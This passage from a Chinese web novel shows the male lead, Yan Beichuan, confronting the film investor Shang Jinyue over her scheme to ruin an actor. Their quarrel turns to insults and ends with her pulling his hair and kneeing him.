宴北川从震惊中回过神:这才反应过来,正如刚才岑溪音说的,那么一直在背后设计他的人是……商今悦? 之前所有的信息都在这一瞬间对上了,他几乎是立刻就想明白了,岑溪音为什么会发出那样的嘲笑。 他之前还天真地想过,商今悦这么轻易地放过了他,或许是真的如李煜文说的那样,她作弄他也算是捉弄够了,这次就将功抵过地原谅了过去自己对她的“大不敬”。 可仔细一想,当 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“是,那又怎么样。” “为什么要这么做?” “我想做就做了,需要理由吗?我投资的电影,没有换掉一个废物的权力吗?” “就算你想换掉他,犯得着用这样的方法吗?” 宴北川难以克制地往前走了两步:“他从来没有惹到你吧?你知道你对一个演员这么做,会断送了他的一辈子吗?” “关我屁事,是我逼着他去上别人的床吗,有本事就别让我抓着把柄啊?” 商今悦一句话就成功地将他噎住,尽管她现在脑子还晕乎,但混迹商场这么多年,养成的处变不惊的性格让她的头脑始终保持清醒。 她看着面前这个还在被何总包养着的男人,大言不惭地替另一个靠包养上位的男人辩解未来,只觉得好笑。 “你现在又在清高什么,何总是怎么养出来你这么个贱骨头,脚踏三只船啊,攀上我和她还不够,什么时候舔上岑溪音来设计老子……” 宴北川被她呛到说不出话,也从前几次和她对吵中意识到,和她吵架永远不能顺着她的话自证下去。 他深吸一口气,盯着商今悦现在的模样思考着,忽然计上心头,扯了扯嘴角:“那商总,您在设计别人的时候,有想过也自己会有被人设计的一天吗?” 没想到这招意外地管用,商今悦沉默了,像是被戳中了痛处般。 正当他还在为自己的新发现惊讶时,商今悦忽然朝着他挑了挑眉:“你过来。” 他不明所以,但还是上前走了两步。 商今悦轻笑:“再过来点。” 他又朝商今悦走近两步,两人现在之间间距不到半米,十分适合交谈的距离。 他低下视线,看清那双氲氤杏眼疲惫,眼中红血丝格外明显。 谁知下一秒,那双眼忽然皱起,迎面而来一只手猛得拽住了自己的头发。 商今悦不知道哪来的力气翻过身,拽着宴北川的脑袋一把把他拉了下来,抬腿一膝盖踹在了他的肚子上:“我、让你设计!”